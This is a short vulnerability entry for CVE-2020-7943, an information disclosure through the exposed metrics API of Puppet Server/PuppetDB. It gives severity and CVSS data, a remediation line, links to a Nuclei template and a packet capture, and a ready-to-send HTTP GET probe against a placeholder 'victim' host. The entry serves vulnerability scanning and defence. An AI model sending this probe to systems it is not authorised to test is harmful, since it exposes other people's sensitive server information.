| Title | Puppet Server/PuppetDB - Sensitive Information Disclosure |
|---|---|
| Author | c-sh0 |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information stored in Puppet Server/PuppetDB. |
| Remediation | Apply the necessary patches or updates provided by Puppet to fix the vulnerability and ensure sensitive information is properly protected. |
| CVSS Score | 7.5 |
| EPSS Score | 0.65366 |
| CVE ID | CVE-2020-7943 |
| CWE ID | CWE-276,NVD-CWE-noinfo |
| Tags | cve2020 cve puppet exposure puppetdb vuln |
Puppet Server and PuppetDB provide useful performance and debugging information via their metrics API endpoints, which may contain sensitive information when left exposed.
GET /metrics/v1/mbeans HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-7943.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-7943.pcap
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